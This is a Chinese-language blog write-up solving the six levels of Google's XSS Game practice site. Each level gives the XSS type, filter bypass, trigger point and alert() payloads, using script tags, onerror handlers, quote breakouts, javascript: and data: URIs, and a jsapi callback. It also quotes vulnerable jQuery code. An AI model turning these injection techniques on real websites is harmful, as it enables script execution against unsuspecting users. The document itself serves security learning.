目录
  1. 1. Level 1: Hello, world of XSS
  2. 2. Level 2: Persistence is key
  3. 3. Level 3: That sinking feeling…
  4. 4. Level 4: Context matters
  5. 5. Level 5: Breaking protocol
  6. 6. Level 6: Follow the 🐇
Google XSS Game

题目地址:https://xss-game.appspot.com

刷完了题会发现,其实这个 XSS小练习 并没有通过很严格的过滤来考察 XSS 的一些 Bypass 手段和不同浏览器的一些特性。但它通过六道题基本概括了一些 XSS 的类型和常见的触发点以及触发方式。其实还是有很多地方值得我们深思。

Level 1: Hello, world of XSS

XSS类型:Reflected XSS

过滤情况:无过滤

影响范围: 点击恶意链接的用户

触发XSS位置: 搜索框

payload: <script>alert('P2hm1n')</script>

Level 2: Persistence is key

XSS类型:Stored XSS

过滤情况:过滤 <script> 标签

Bypass: 利用其他标签

影响范围: 所有能看见帖子的用户

触发XSS位置:留言板
扩展思路:发送帖子等存储位置

payload: <img src=x onerror=alert('P2hm1n')>

Level 3: That sinking feeling…

XSS类型:DOM XSS

过滤情况:无过滤

影响范围: 点击恶意链接的用户

触发XSS位置:选择浏览图片处
扩展思路:通过 JS 选择图片

简单分析如下

漏洞代码:

var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;

如果不看代码盲测会发现 # 后面的东西都会被闭合到 <img src=""> 里面的 src 属性中。想要逃逸出来的话只能添加 ' 一个单引号,来闭合前面的语句
逃逸单引号之后,利用事件弹窗,或者闭合之前标签。均可触发 XSS

payload1: 1' onerror=alert('P2hm1n') '
payload2: 1' <img src=x onerror=alert('P2hm1n')><

Level 4: Context matters

XSS类型:DOM XSS

过滤情况:过滤分号

Bypass: 利用 URL 编码

影响范围: 点击恶意链接的用户

触发XSS位置:计时器;
扩展思路:所有可能自定义JS函数的位置

简单分析如下
自定义了一个JS函数,前端输入的值类似一个计时器。到了响应的秒数会提示到时间了。
输入的数字会进入 JS 函数的变量。为了方便进行代码分析,将输入的数字调大,输入 123 相应 JS 输出位置 <img src="/static/loading.gif" onload="startTimer('123');">
核心思路:1. 闭合 (' 2. 利用分号 3. 利用 ||

payload1: 123') || alert('P2hm1n
payload2: 1')%3Balert('P2hm1n

Level 5: Breaking protocol

XSS类型:Reflected XSS

过滤情况:无过滤

影响范围: 点击恶意链接的用户

触发XSS位置:注册用户
扩展思路:所有链接跳转位置

简单分析如下
首页没有可以和用户交互的点,点击 Sign up 跳转至注册页面。观察 URL 为 https://xss-game.appspot.com/level5/frame/signup?next=confirm
查找 confirm 响应 JS 输出位置 <a href="confirm">
直接利用 JS 伪协议

payload: javascript:alert('P2hm1n')

Level 6: Follow the 🐇

这类 XSS 是我在之前没有遇到过的。一开始盲测时也没有思路

题目中的任务说明告诉我们这里采用动态加载 JS 的方式

这题看了一个歪果仁的 writeup: XSS-game by Google exercises 4, 5 and 6

第一个 payload 是直接利用 DATA URI Scheme 来执行 js 代码
第二个 payload 是利用的 google 的一个 api 来调用 js 代码

payload1: data:text/javascript,alert(1);
payload2: www.google.com/jsapi?callback=alert

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/12/27/Google-XSS-Game/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论